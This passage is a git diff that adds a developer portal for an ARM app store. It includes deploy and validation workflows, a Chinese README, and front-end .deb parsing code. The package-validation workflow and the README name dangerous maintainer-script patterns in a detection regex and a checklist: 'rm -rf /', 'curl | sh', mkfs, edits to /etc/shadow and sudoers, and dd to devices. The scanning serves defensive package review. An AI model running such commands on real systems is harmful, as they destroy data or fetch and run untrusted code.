diff --git a/dev-portal/.github/workflows/deploy.yml b/dev-portal/.github/workflows/deploy.yml new file mode 100644 index 0000000..430a4a0 --- /dev/null +++ b/dev-portal/.github/workflows/deploy.yml @@ -0,0 +1,18 @@ +# Auto-deploy the Worker (portal page + API) to Cloudflare on every push. +# Required repo secret: CLOUDFLARE_API_TOKEN (Workers Scripts: Edit). +name: Deploy to Cloudflare + +on: + push: + branches: [main] + workflow_dispatch: + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: cloudflare/wrangler-action@v3 + with: + apiToken: ${{ secrets.CLOUDFLARE_API_TOKEN }} + workingDirectory: worker diff --git a/dev-portal/README.md b/dev-portal/README.md new file mode 100644 index 0000000..9986866 --- /dev/null +++ b/dev-portal/README.md @@ -0,0 +1,97 @@ +# CardputerZero 开发者中心(dev.cardputer.cc) + +面向开发者的 AppStore 网页上传入口。开发者在浏览器里直接上传 `.deb`, +页面**本地解析**出应用图标、包名、版本号、`.desktop` 声明、Maintainer 邮箱, +生成初步安全报告;GitHub 登录校验邮箱真实性,包名**抢占式归属**(先提交者 +拥有该包名,之后只有同邮箱账号或管理员可以更新/下架);自动化审核通过后 +自动生成发布 PR(可配置自动合并),APT 索引与商店 registry 随之更新。 + +> 本仓库是站点源码(Cloudflare Worker 架构,无数据库)。归属与版本状态 +> 直接以线上 APT 索引为准,天然免维护。 + +## 工作原理 + +``` +浏览器 dev.cardputer.cc + │ ① 选择 .deb → 本地解析(ar/tar/gz/xz/zstd 纯前端解包) + │ 展示图标 / 包名 / 版本 / .desktop / 邮箱 / 文件清单 / 安全报告 + │ 并对照线上索引预检:包名归属、版本是否重复/倒退 + │ ② GitHub OAuth 登录(scope: user:email,读取已验证邮箱) + │ ③ POST /api/submit(同域,无 CORS) + ▼ +Cloudflare Worker(本仓库 worker/,静态页面同域托管) + │ ④ 会话校验 + 归属/版本预检(拉线上 Packages 索引比对) + │ ⑤ .deb 存入 packages 仓库 web-upload-buffer Release(BOT_TOKEN) + │ ⑥ repository_dispatch: web-submission + ▼ +CardputerZero/packages Actions(packages-workflows/ 里的两个 workflow) + │ ⑦ dpkg-deb 权威校验:完整性 / control / .desktop / setuid / 设备文件 / + │ 越权路径 / maintainer 脚本危险模式 / 邮箱归属 / 版本单调 + │ ⑧ store 元数据:优先源码仓库 app-builder.json,否则从 deb 自动生成 + │ ⑨ 通过 → 发布 PR(AUTO_MERGE=true 时自动合并);失败 → issue @提交者 + ▼ +update-index.yml(已有)→ .deb 提升进 apt-pool → APT 索引/商店 JSON 更新 +``` + +信任模型:浏览器解析只做**预览与提前拦截**(好体验);一切以 Actions 里 +`dpkg-deb` 的服务端校验为准,客户端传来的任何字段都不会被直接采信。 + +## 抢占式包名归属 + +- 新包名:任何人首次提交即占有(deb 的 `Maintainer` 邮箱必须是提交者 + GitHub 账号的已验证邮箱或 `@users.noreply.github.com`)。 +- 已有包名:仅当线上包的 Maintainer 邮箱 ∈ 提交者已验证邮箱时可更新/下架。 +- 管理员:`wrangler.toml` 的 `ADMIN_LOGINS`(逗号分隔的 GitHub 登录名) + 可管理任意包。 +- 相同版本再次提交 → 前端与服务端都会提示"版本已存在,请提升版本号"。 + +## 初步安全报告(浏览器 + CI 双层) + +- setuid/setgid、全局可写、设备文件、路径穿越 +- 安装路径白名单(`usr/share/APPLaunch/`、`lib/systemd/system/`、 + `usr/share//`、`usr/lib//`、`opt//`、`usr/share/doc/`) +- ELF 架构核对(非 arm64 告警) +- maintainer 脚本危险模式(`rm -rf /`、`curl|sh`、写设备、动 passwd/cron 等) +- 缺 `.desktop`/图标、包名/架构不合法、超大文件 + +## 部署 + +### 1. Worker(一次性) + +```bash +cd worker +wrangler login +wrangler secret put GITHUB_CLIENT_ID # OAuth App,callback: https://dev.cardputer.cc/auth/callback +wrangler secret put GITHUB_CLIENT_SECRET +wrangler secret put BOT_TOKEN # fine-grained PAT:CardputerZero/packages 的 Contents: RW +wrangler secret put SESSION_SECRET # openssl rand -hex 32 +wrangler deploy +``` + +`wrangler.toml` 已声明 `dev.cardputer.cc` 自定义域(cardputer.cc 的 zone 在 +Cloudflare 上即可自动接管 DNS + 证书)和静态资源目录 `site/`。 +在 `[vars] ADMIN_LOGINS` 里填管理员的 GitHub 登录名。 + +### 2. 持续部署(可选) + +仓库 Settings → Secrets 添加 `CLOUDFLARE_API_TOKEN`(权限 Workers Scripts: +Edit),之后每次 push main 自动 `wrangler deploy`(见 +`.github/workflows/deploy.yml`)。 + +### 3. packages 仓库(一次性) + +把 `packages-workflows/` 下的两个文件复制到 `CardputerZero/packages` 的 +`.github/workflows/`。想保留人工审核就把其中 `AUTO_MERGE` 改为 `"false"` +(PR 仍会自动创建,由管理员合并)。 + +## 本地开发 + +```bash +cd worker && wrangler dev # http://localhost:8787,页面 + API 同域 +``` + +解析器单元测试(用系统 gzip/xz/zstd 模拟浏览器解压): + +```bash +node --test test/*.test.js +``` diff --git a/dev-portal/package.json b/dev-portal/package.json new file mode 100644 index 0000000..88dd66e --- /dev/null +++ b/dev-portal/package.json @@ -0,0 +1,10 @@ +{ + "name": "cardputerzero-dev-portal", + "private": true, + "type": "module", + "scripts": { + "test": "node --test test/*.test.js", + "dev": "wrangler dev --cwd worker", + "deploy": "wrangler deploy --cwd worker" + } +} diff --git a/dev-portal/packages-workflows/process-web-submission.yml b/dev-portal/packages-workflows/process-web-submission.yml new file mode 100644 index 0000000..0556d9f --- /dev/null +++ b/dev-portal/packages-workflows/process-web-submission.yml @@ -0,0 +1,272 @@ +# Copy to CardputerZero/packages: .github/workflows/process-web-submission.yml +# +# Handles `repository_dispatch` (type: web-submission) sent by the developer +# portal Worker. Authoritative validation with real dpkg-deb: integrity, +# control fields, .desktop, structure & safety scan, maintainer-email +# ownership (first submitter owns the package name; admins bypass), and +# version monotonicity. On success it opens a publish PR (and can auto-merge +# it when AUTO_MERGE is true); on failure it opens an issue mentioning the +# submitter. + +name: Process Web Submission + +on: + repository_dispatch: + types: [web-submission] + +permissions: + contents: write + issues: write + pull-requests: write + +env: + # Set to "false" to require a human maintainer to merge every publish PR. + AUTO_MERGE: "true" + +jobs: + process: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install tools + run: sudo apt-get update && sudo apt-get install -y dpkg-dev jq zstd + + - name: Download and validate .deb + id: validate + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + DEB_URL: ${{ github.event.client_payload.url }} + WANT_SHA: ${{ github.event.client_payload.sha256 }} + SUBMITTER: ${{ github.event.client_payload.login }} + # JSON array of the submitter's verified emails (from the Worker, + # which read them via the user's OAuth token — trusted). + EMAILS_JSON: ${{ toJSON(github.event.client_payload.emails) }} + IS_ADMIN: ${{ github.event.client_payload.is_admin }} + run: | + set -uo pipefail + ERR="" + curl -fL --retry 3 --max-time 600 -o /tmp/pkg.deb "$DEB_URL" || ERR="- ❌ could not download the uploaded .deb\n" + if [ -f /tmp/pkg.deb ]; then + GOT=$(sha256sum /tmp/pkg.deb | awk '{print $1}') + [ "$GOT" = "$WANT_SHA" ] || ERR="${ERR}- ❌ sha256 mismatch\n" + PKG=$(dpkg-deb -f /tmp/pkg.deb Package 2>/dev/null || true) + VER=$(dpkg-deb -f /tmp/pkg.deb Version 2>/dev/null || true) + ARCH=$(dpkg-deb -f /tmp/pkg.deb Architecture 2>/dev/null || true) + MAINT=$(dpkg-deb -f /tmp/pkg.deb Maintainer 2>/dev/null || true) + [ -n "$PKG" ] || ERR="${ERR}- ❌ not a valid .deb\n" + echo "$PKG" | grep -qP '^[a-z0-9][a-z0-9.+\-]+$' || ERR="${ERR}- ❌ invalid package name '$PKG'\n" + case "$ARCH" in arm64|all) ;; *) ERR="${ERR}- ❌ architecture must be arm64/all, got '$ARCH'\n" ;; esac + + dpkg-deb -c /tmp/pkg.deb > /tmp/contents.txt 2>/dev/null || true + grep -q 'usr/share/APPLaunch/applications/.*\.desktop$' /tmp/contents.txt \ + || ERR="${ERR}- ❌ missing usr/share/APPLaunch/applications/*.desktop\n" + + # --- structure & safety scan --- + # setuid/setgid bits in the archive listing (perm string like -rwsr-xr-x) + if awk '{print $1}' /tmp/contents.txt | grep -qE '^[-l].{2}[sS]|^[-l].{5}[sS]'; then + ERR="${ERR}- ❌ package contains setuid/setgid files\n" + fi + # device files + if awk '{print $1}' /tmp/contents.txt | grep -qE '^[bc]'; then + ERR="${ERR}- ❌ package contains device files\n" + fi + # paths outside the allowed prefixes + BAD_PATHS=$(awk '{print $NF}' /tmp/contents.txt | sed 's|^\./||' \ + | grep -vE '^(usr/share/APPLaunch/|lib/systemd/system/|usr/share/doc/|usr/share/'"$PKG"'/|usr/lib/'"$PKG"'/|opt/'"$PKG"'/|usr/$|usr/share/$|usr/lib/$|lib/$|lib/systemd/$|opt/$|\.$)' \ + | grep -v '/$' || true) + if [ -n "$BAD_PATHS" ]; then + ERR="${ERR}- ❌ files outside allowed install prefixes:\n$(echo "$BAD_PATHS" | sed 's/^/ /')\n" + fi + # maintainer scripts: dangerous patterns + dpkg-deb -e /tmp/pkg.deb /tmp/ctrl 2>/dev/null || true + for scr in preinst postinst prerm postrm; do + [ -f "/tmp/ctrl/$scr" ] || continue + if grep -qE 'rm[[:space:]]+(-[a-zA-Z]+[[:space:]]+)*(/([[:space:]]|$)|/(bin|etc|usr|var|home|boot|lib))|(curl|wget)[^|]*\|[[:space:]]*(ba)?sh|mkfs|/etc/(passwd|shadow|sudoers)|dd[[:space:]][^|]*of=/dev/' "/tmp/ctrl/$scr"; then + ERR="${ERR}- ❌ dangerous pattern in maintainer script $scr\n" + fi + done + + # --- ownership: maintainer email must be one of the submitter's + # verified emails; existing packages only updatable by owner/admin --- + EMAIL=$(echo "$MAINT" | grep -oP '<\K[^>]+' || echo "$MAINT") + EMAIL=$(echo "$EMAIL" | tr '[:upper:]' '[:lower:]') + MATCH=$(echo "$EMAILS_JSON" | jq --arg e "$EMAIL" 'map(ascii_downcase) | contains([$e])') + if [ "$MATCH" != "true" ] && [ "$IS_ADMIN" != "true" ]; then + ERR="${ERR}- ❌ Maintainer email \`$EMAIL\` is not one of @$SUBMITTER's verified GitHub emails\n" + fi + + EXISTING="" ; OWNER_EMAIL="" + for m in pool/main/"$PKG"/*.deb.release.json; do + [ -f "$m" ] || continue + v=$(jq -r '.version // empty' "$m") + if [ -n "$v" ] && { [ -z "$EXISTING" ] || dpkg --compare-versions "$v" gt "$EXISTING"; }; then + EXISTING="$v" + u=$(jq -r '.url // empty' "$m") + if [ -n "$u" ] && curl -fsL --max-time 300 -o /tmp/existing.deb "$u" 2>/dev/null; then + OWNER_EMAIL=$(dpkg-deb -f /tmp/existing.deb Maintainer 2>/dev/null | grep -oP '<\K[^>]+' | tr '[:upper:]' '[:lower:]' || true) + fi + fi + done + if [ -n "$OWNER_EMAIL" ] && [ "$IS_ADMIN" != "true" ]; then + OWNED=$(echo "$EMAILS_JSON" | jq --arg e "$OWNER_EMAIL" 'map(ascii_downcase) | contains([$e])') + if [ "$OWNED" != "true" ]; then + ERR="${ERR}- ❌ package '$PKG' is owned by \`$OWNER_EMAIL\`; only the owner or an admin can update it\n" + fi + fi + if [ -n "$EXISTING" ] && dpkg --compare-versions "$VER" le "$EXISTING"; then + ERR="${ERR}- ❌ version $VER is not newer than published $EXISTING\n" + fi + { echo "pkg=$PKG"; echo "ver=$VER"; echo "arch=$ARCH"; } >> "$GITHUB_OUTPUT" + fi + printf 'errors<> "$GITHUB_OUTPUT" + + - name: Collect store metadata + id: meta + if: steps.validate.outputs.errors == '' + env: + SOURCE_REPO: ${{ github.event.client_payload.source_repo }} + PKG: ${{ steps.validate.outputs.pkg }} + run: | + set -uo pipefail + ERR="" + if [ -n "$SOURCE_REPO" ]; then + git clone --depth=1 "$SOURCE_REPO" /tmp/src 2>/dev/null || ERR="- ❌ could not clone source repo\n" + fi + if [ -z "$ERR" ]; then + python3 - <<'EOF' || ERR="- ❌ $(cat /tmp/meta-error.txt 2>/dev/null || echo metadata collection failed)\n" + import json, os, shutil, subprocess, sys + from pathlib import Path + + def fail(msg): + Path("/tmp/meta-error.txt").write_text(msg) + sys.exit(1) + + pkg = os.environ["PKG"] + dest = Path(f"pool/main/{pkg}") + dest.mkdir(parents=True, exist_ok=True) + + # Preferred: app-builder.json store section from the source repo. + src_root = Path("/tmp/src") + if src_root.is_dir(): + for mf in src_root.rglob("app-builder.json"): + try: + raw = json.loads(mf.read_text()) + except Exception: + continue + if raw.get("package_name") != pkg or "store" not in raw: + continue + store, app_dir = raw["store"], mf.parent + meta = {"title": raw.get("app_name", ""), + "summary": store.get("summary", ""), + "categories": store.get("categories", []), + "screenshots": store.get("screenshots", [])} + for k in ("description", "locales", "license", "source_repo", "icon", "permissions"): + if store.get(k): + meta[k] = store[k] + shots = dest / "screenshots" + shots.mkdir(exist_ok=True) + for srel in meta["screenshots"]: + p = app_dir / srel + if not p.is_file(): + fail(f"screenshot not found in source repo: {srel}") + shutil.copy2(p, shots / p.name) + if store.get("icon") and (app_dir / store["icon"]).is_file(): + shutil.copy2(app_dir / store["icon"], dest / Path(store["icon"]).name) + (dest / "meta.json").write_text(json.dumps(meta, indent=2, ensure_ascii=False)) + sys.exit(0) + + # Fallback: build minimal metadata from the deb itself (.desktop + icon). + out = subprocess.run(["dpkg-deb", "--fsys-tarfile", "/tmp/pkg.deb"], capture_output=True, check=True) + import io, tarfile + tf = tarfile.open(fileobj=io.BytesIO(out.stdout)) + desktop, icon_member = None, None + members = {m.name.lstrip("./"): m for m in tf.getmembers()} + for name, m in members.items(): + if name.startswith("usr/share/APPLaunch/applications/") and name.endswith(".desktop"): + desktop = tf.extractfile(m).read().decode(errors="replace") + break + title, icon_rel = pkg, None + if desktop: + for line in desktop.splitlines(): + if line.startswith("Name="): + title = line.split("=", 1)[1].strip() + if line.startswith("Icon="): + icon_rel = line.split("=", 1)[1].strip().lstrip("/") + if icon_rel: + for cand in (icon_rel, f"usr/share/APPLaunch/{icon_rel}"): + if cand in members: + data = tf.extractfile(members[cand]).read() + (dest / Path(cand).name).write_bytes(data) + icon_rel = Path(cand).name + break + else: + icon_rel = None + desc = subprocess.run(["dpkg-deb", "-f", "/tmp/pkg.deb", "Description"], + capture_output=True, text=True).stdout.strip() + meta = {"title": title, "summary": desc.splitlines()[0] if desc else "", + "categories": [], "screenshots": []} + if icon_rel: + meta["icon"] = icon_rel + (dest / "meta.json").write_text(json.dumps(meta, indent=2, ensure_ascii=False)) + EOF + fi + printf 'errors<> "$GITHUB_OUTPUT" + + - name: Create publish PR + id: pr + if: steps.validate.outputs.errors == '' && steps.meta.outputs.errors == '' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + DEB_URL: ${{ github.event.client_payload.url }} + WANT_SHA: ${{ github.event.client_payload.sha256 }} + SIZE: ${{ github.event.client_payload.size }} + SUBMITTER: ${{ github.event.client_payload.login }} + PKG: ${{ steps.validate.outputs.pkg }} + VER: ${{ steps.validate.outputs.ver }} + ARCH: ${{ steps.validate.outputs.arch }} + run: | + set -euo pipefail + NAME="${PKG}_${VER}_${ARCH}.deb" + ASSET_NAME="${NAME//\~/.}" + jq -n --arg f "$ASSET_NAME" --arg u "$DEB_URL" --arg s "$WANT_SHA" \ + --arg p "$PKG" --arg v "$VER" --arg a "$ARCH" --argjson z "$SIZE" \ + '{filename:$f,url:$u,sha256:$s,size:$z,package:$p,version:$v,architecture:$a}' \ + > "pool/main/$PKG/$ASSET_NAME.release.json" + BRANCH="publish/${PKG}-${VER}-web-${{ github.run_id }}" + git config user.name "cardputerzero-bot" + git config user.email "cardputerzero-bot@users.noreply.github.com" + git checkout -b "$BRANCH" + git add "pool/main/$PKG" + git commit -m "publish: $PKG $VER ($ARCH) via developer portal by @$SUBMITTER" + git push origin "$BRANCH" + PR_URL=$(gh pr create --base main --head "$BRANCH" \ + --title "publish: $PKG $VER (portal submission by @$SUBMITTER)" \ + --body "$(printf 'Submitted by @%s via the developer portal.\n\n| Field | Value |\n|---|---|\n| Version | %s |\n| Architecture | %s |\n| SHA-256 | `%s` |\n| Binary | [%s](%s) |\n\nAll automated checks passed in [this run](%s/%s/actions/runs/%s).' \ + "$SUBMITTER" "$VER" "$ARCH" "$WANT_SHA" "$ASSET_NAME" "$DEB_URL" "${{ github.server_url }}" "${{ github.repository }}" "${{ github.run_id }}")") + echo "url=$PR_URL" >> "$GITHUB_OUTPUT" + if [ "$AUTO_MERGE" = "true" ]; then + gh pr merge "$PR_URL" --squash --delete-branch || echo "::warning::auto-merge failed; awaiting manual review" + fi + + - name: Report failure to the submitter + if: always() && (steps.validate.outputs.errors != '' || steps.meta.outputs.errors != '' || failure()) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + SUBMITTER: ${{ github.event.client_payload.login }} + FILENAME: ${{ github.event.client_payload.filename }} + ERR1: ${{ steps.validate.outputs.errors }} + ERR2: ${{ steps.meta.outputs.errors }} + run: | + { + echo "@$SUBMITTER your portal submission of \`$FILENAME\` failed validation:" + echo + printf '%b%b' "$ERR1" "$ERR2" + echo + echo "Details: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}" + echo + echo "Fix the package and upload again at https://dev.cardputer.cc" + } > /tmp/issue.md + gh issue create \ + --title "portal submission failed: $FILENAME" \ + --body-file /tmp/issue.md diff --git a/dev-portal/packages-workflows/process-web-unpublish.yml b/dev-portal/packages-workflows/process-web-unpublish.yml new file mode 100644 index 0000000..7a2b719 --- /dev/null +++ b/dev-portal/packages-workflows/process-web-unpublish.yml @@ -0,0 +1,99 @@ +# Copy to CardputerZero/packages: .github/workflows/process-web-unpublish.yml +# +# Handles `repository_dispatch` (type: web-unpublish) from the developer +# portal. Re-verifies ownership (the published manifest's deb Maintainer must +# be one of the requester's verified emails, unless admin), removes the +# manifest and opens a removal PR (auto-merged when AUTO_MERGE is true). +# Removing the manifest drops the package from the APT index on the next +# update-index build. + +name: Process Web Unpublish + +on: + repository_dispatch: + types: [web-unpublish] + +permissions: + contents: write + issues: write + pull-requests: write + +env: + AUTO_MERGE: "true" + +jobs: + process: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install tools + run: sudo apt-get update && sudo apt-get install -y dpkg-dev jq + + - name: Verify ownership and remove manifest + id: remove + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PKG: ${{ github.event.client_payload.package }} + VER: ${{ github.event.client_payload.version }} + ARCH: ${{ github.event.client_payload.architecture }} + SUBMITTER: ${{ github.event.client_payload.login }} + EMAILS_JSON: ${{ toJSON(github.event.client_payload.emails) }} + IS_ADMIN: ${{ github.event.client_payload.is_admin }} + run: | + set -uo pipefail + ERR="" + echo "$PKG" | grep -qP '^[a-z0-9][a-z0-9.+\-]+$' || { echo "::error::bad package name"; exit 1; } + ASSET_NAME=$(echo "${PKG}_${VER}_${ARCH}.deb" | tr '~' '.') + MANIFEST="pool/main/$PKG/$ASSET_NAME.release.json" + if [ ! -f "$MANIFEST" ]; then + ERR="- ❌ manifest not found: \`$MANIFEST\`\n" + else + URL=$(jq -r '.url // empty' "$MANIFEST") + OWNER_EMAIL="" + if [ -n "$URL" ] && curl -fsL --max-time 300 -o /tmp/pkg.deb "$URL" 2>/dev/null; then + OWNER_EMAIL=$(dpkg-deb -f /tmp/pkg.deb Maintainer 2>/dev/null | grep -oP '<\K[^>]+' | tr '[:upper:]' '[:lower:]' || true) + fi + if [ "$IS_ADMIN" != "true" ]; then + if [ -z "$OWNER_EMAIL" ]; then + ERR="- ❌ could not verify ownership (binary unreachable); ask an admin\n" + else + OWNED=$(echo "$EMAILS_JSON" | jq --arg e "$OWNER_EMAIL" 'map(ascii_downcase) | contains([$e])') + [ "$OWNED" = "true" ] || ERR="- ❌ package is owned by \`$OWNER_EMAIL\`, not @$SUBMITTER\n" + fi + fi + fi + if [ -z "$ERR" ]; then + BRANCH="unpublish/${PKG}-${VER}-web-${{ github.run_id }}" + git config user.name "cardputerzero-bot" + git config user.email "cardputerzero-bot@users.noreply.github.com" + git checkout -b "$BRANCH" + git rm -q "$MANIFEST" + git commit -m "unpublish: $PKG $VER via developer portal by @$SUBMITTER" + git push origin "$BRANCH" + PR_URL=$(gh pr create --base main --head "$BRANCH" \ + --title "unpublish: $PKG $VER (portal request by @$SUBMITTER)" \ + --body "Removal requested by @$SUBMITTER via the developer portal. Ownership verified against the published binary's Maintainer email.") + if [ "$AUTO_MERGE" = "true" ]; then + gh pr merge "$PR_URL" --squash --delete-branch || echo "::warning::auto-merge failed; awaiting manual review" + fi + fi + printf 'errors<> "$GITHUB_OUTPUT" + + - name: Report failure + if: always() && steps.remove.outputs.errors != '' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + SUBMITTER: ${{ github.event.client_payload.login }} + PKG: ${{ github.event.client_payload.package }} + VER: ${{ github.event.client_payload.version }} + ERRS: ${{ steps.remove.outputs.errors }} + run: | + { + echo "@$SUBMITTER your unpublish request for \`$PKG $VER\` failed:" + echo + printf '%b' "$ERRS" + echo + echo "Details: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}" + } > /tmp/issue.md + gh issue create --title "portal unpublish failed: $PKG $VER" --body-file /tmp/issue.md diff --git a/dev-portal/site/app.js b/dev-portal/site/app.js new file mode 100644 index 0000000..1a21361 --- /dev/null +++ b/dev-portal/site/app.js @@ -0,0 +1,284 @@ +/* CardputerZero developer portal front-end. Same-origin API (see worker/). */ + +import { parseDeb, compareDebVersions, extractEmail } from "/debparse.js"; +import { XzReadableStream } from "https://cdn.jsdelivr.net/npm/xz-decompress@0.2.2/+esm"; + +const INDEX_URL = "https://cardputer.cc/packages/dists/stable/main/binary-arm64/Packages"; + +const $ = (id) => document.getElementById(id); +let me = null; +let parsed = null; +let file = null; +let publishedIndex = null; + +/* ------------------------------ decompressors ---------------------------- */ + +async function streamToBytes(stream) { + const chunks = []; + const reader = stream.getReader(); + for (;;) { + const { done, value } = await reader.read(); + if (done) break; + chunks.push(value); + } + const total = chunks.reduce((n, c) => n + c.length, 0); + const out = new Uint8Array(total); + let off = 0; + for (const c of chunks) { out.set(c, off); off += c.length; } + return out; +} + +const decompressors = { + gzip: async (data) => streamToBytes( + new Blob([data]).stream().pipeThrough(new DecompressionStream("gzip")), + ), + xz: async (data) => streamToBytes( + new XzReadableStream(new Blob([data]).stream()), + ), + zstd: async (data) => { + // Chrome 133+/Edge expose zstd in DecompressionStream; fall back with a hint. + try { + return await streamToBytes( + new Blob([data]).stream().pipeThrough(new DecompressionStream("zstd")), + ); + } catch { + throw new Error("此浏览器不支持 zstd 解压,无法本地预览。建议用 dpkg-deb -Zxz 重新打包,或换 Chrome 133+ 浏览器"); + } + }, +}; + +/* --------------------------------- init ---------------------------------- */ + +async function init() { + try { + const r = await fetch("/api/me"); + if (r.ok) me = await r.json(); + } catch { /* not logged in */ } + $(me ? "app-view" : "login-view").classList.remove("hidden"); + if (me) { + $("who-box").classList.remove("hidden"); + $("who").textContent = me.login + (me.is_admin ? "(管理员)" : ""); + } +} + +async function loadIndex() { + if (publishedIndex) return publishedIndex; + publishedIndex = new Map(); + try { + const text = await (await fetch(INDEX_URL)).text(); + for (const para of text.split(/\n\n+/)) { + const f = {}; + for (const line of para.split("\n")) { + const i = line.indexOf(": "); + if (i > 0 && !/^\s/.test(line)) f[line.slice(0, i)] = line.slice(i + 2).trim(); + } + if (!f.Package) continue; + if (!publishedIndex.has(f.Package)) publishedIndex.set(f.Package, []); + publishedIndex.get(f.Package).push(f); + } + } catch { /* offline preview still works */ } + return publishedIndex; +} + +/* --------------------------------- tabs ---------------------------------- */ + +$("tab-upload").addEventListener("click", () => switchTab("upload")); +$("tab-mine").addEventListener("click", () => { switchTab("mine"); renderMine(); }); + +function switchTab(which) { + $("tab-upload").classList.toggle("active", which === "upload"); + $("tab-mine").classList.toggle("active", which === "mine"); + $("upload-panel").classList.toggle("hidden", which !== "upload"); + $("mine-panel").classList.toggle("hidden", which !== "mine"); +} + +/* ------------------------------ file picking ----------------------------- */ + +const drop = $("drop"); +drop.addEventListener("click", () => $("file").click()); +drop.addEventListener("dragover", (e) => { e.preventDefault(); drop.classList.add("hover"); }); +drop.addEventListener("dragleave", () => drop.classList.remove("hover")); +drop.addEventListener("drop", (e) => { + e.preventDefault(); drop.classList.remove("hover"); + pick(e.dataTransfer.files[0]); +}); +$("file").addEventListener("change", (e) => pick(e.target.files[0])); + +async function pick(f) { + if (!f) return; + if (!f.name.endsWith(".deb")) return say("err", "请选择 .deb 文件"); + file = f; + parsed = null; + say("", "本地解析中…"); + $("preview-box").classList.add("hidden"); + try { + const buf = await f.arrayBuffer(); + parsed = await parseDeb(buf, decompressors); + } catch (err) { + return say("err", `解析失败:${err.message}`); + } + say("", ""); + await renderPreview(); +} + +/* -------------------------------- preview -------------------------------- */ + +async function renderPreview() { + const c = parsed.control; + $("drop-text").innerHTML = `已选择 ${file.name}(${(file.size / 1048576).toFixed(1)} MB)— 点击可更换`; + $("p-name").textContent = (parsed.desktop && parsed.desktop.Name) || c.Package || "?"; + $("p-pkg").textContent = c.Package || ""; + $("p-version").textContent = c.Version || "?"; + $("p-arch").textContent = c.Architecture || "?"; + $("p-size").textContent = `${(parsed.totalInstalledSize / 1048576).toFixed(1)} MB`; + $("p-maint").textContent = c.Maintainer || "(缺失)"; + + if (parsed.icon && parsed.icon.isPng) { + const url = URL.createObjectURL(new Blob([parsed.icon.bytes], { type: "image/png" })); + $("p-icon").src = url; + $("p-icon").classList.remove("hidden"); + $("p-noicon").classList.add("hidden"); + } else { + $("p-icon").classList.add("hidden"); + $("p-noicon").classList.remove("hidden"); + } + + // 邮箱归属预检 + const email = (parsed.email || "").toLowerCase(); + const mine = me && me.emails.includes(email); + $("p-emailmatch").innerHTML = mine + ? `Maintainer 邮箱与你的 GitHub 已验证邮箱匹配` + : `Maintainer 邮箱 (${email || "缺失"}) 不在你的 GitHub 已验证邮箱里 — 提交会被拒绝${me && me.is_admin ? "(你是管理员,可豁免)" : ""}`; + + // 版本 / 包名占用预检 + const idx = await loadIndex(); + const entries = idx.get(c.Package) || []; + let verState = "", verOk = true; + if (!entries.length) { + verState = `新包名,首次提交后归属于你`; + } else { + const owner = extractEmail(entries[0].Maintainer || "").toLowerCase(); + const owned = me && (me.emails.includes(owner) || me.is_admin); + const latest = entries.map((e) => e.Version).sort(compareDebVersions).pop(); + if (!owned) { + verOk = false; + verState = `包名已被他人占用(Maintainer: ${owner.slice(0, 2)}***),无法提交`; + } else if (compareDebVersions(c.Version, latest) <= 0) { + verOk = false; + verState = `版本 ${c.Version} 不高于线上已发布的 ${latest},请提升版本号`; + } else { + verState = `已发布 ${latest} → 本次更新为 ${c.Version}`; + } + } + $("p-verstate").innerHTML = verState; + + // 检查报告 + const ul = $("report-list"); + ul.innerHTML = ""; + for (const [level, msg] of parsed.report) { + const li = document.createElement("li"); + li.className = `lv-${level}`; + li.textContent = msg; + ul.appendChild(li); + } + + // 文件清单 + 脚本 + $("p-filecount").textContent = parsed.files.length; + $("p-files").textContent = parsed.files + .filter((f) => f.type !== "dir") + .map((f) => `${(f.mode & 0o7777).toString(8).padStart(4, "0")} ${String(f.size).padStart(9)} ${f.path}${f.linkname ? " -> " + f.linkname : ""}`) + .join("\n"); + const scriptNames = Object.keys(parsed.scripts); + if (scriptNames.length) { + $("p-scripts-box").classList.remove("hidden"); + $("p-scripts").textContent = scriptNames.map((n) => `### ${n}\n${parsed.scripts[n]}`).join("\n\n"); + } else { + $("p-scripts-box").classList.add("hidden"); + } + + const blocked = parsed.verdict === "danger" || (!mine && !(me && me.is_admin)) || !verOk; + $("submit-btn").disabled = blocked; + $("submit-btn").textContent = blocked ? "存在阻断性问题,无法提交" : "提交到 AppStore"; + $("preview-box").classList.remove("hidden"); +} + +/* --------------------------------- submit -------------------------------- */ + +$("submit-btn").addEventListener("click", async () => { + if (!file || !parsed) return; + $("submit-btn").disabled = true; + say("", "上传中…"); + + const body = new FormData(); + body.append("deb", file); + body.append("package", parsed.control.Package); + body.append("version", parsed.control.Version); + body.append("arch", parsed.control.Architecture); + const repo = $("source-repo").value.trim(); + if (repo) body.append("source_repo", repo); + + try { + const r = await fetch("/api/submit", { method: "POST", body }); + const data = await r.json(); + if (!r.ok) throw new Error(data.detail || data.error || `HTTP ${r.status}`); + say("ok", + `✓ ${data.message}\n审核进度:${data.actions_url}\n发布 PR:${data.track_url}`); + } catch (err) { + say("err", `提交失败:${err.message}`); + $("submit-btn").disabled = false; + } +}); + +/* ------------------------------ my packages ------------------------------ */ + +async function renderMine() { + const rows = $("mine-rows"); + const idx = await loadIndex(); + const mine = []; + for (const [name, entries] of idx) { + for (const e of entries) { + const email = extractEmail(e.Maintainer || "").toLowerCase(); + if (me.emails.includes(email) || me.is_admin) mine.push({ name, ...e, email }); + } + } + if (!mine.length) { + rows.innerHTML = `没有找到属于你的已发布软件包`; + return; + } + rows.innerHTML = ""; + for (const p of mine.sort((a, b) => a.name.localeCompare(b.name))) { + const tr = document.createElement("tr"); + tr.innerHTML = `${p.name}${p.Version}${p.email}`; + const btn = document.createElement("button"); + btn.textContent = "下架"; + btn.addEventListener("click", () => unpublish(p, btn)); + tr.lastElementChild.appendChild(btn); + rows.appendChild(tr); + } +} + +async function unpublish(p, btn) { + if (!confirm(`确认下架 ${p.name} ${p.Version}?将生成移除 PR。`)) return; + btn.disabled = true; + try { + const r = await fetch("/api/unpublish", { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ package: p.name, version: p.Version }), + }); + const data = await r.json(); + if (!r.ok) throw new Error(data.detail || data.error); + btn.textContent = "已提交"; + } catch (err) { + 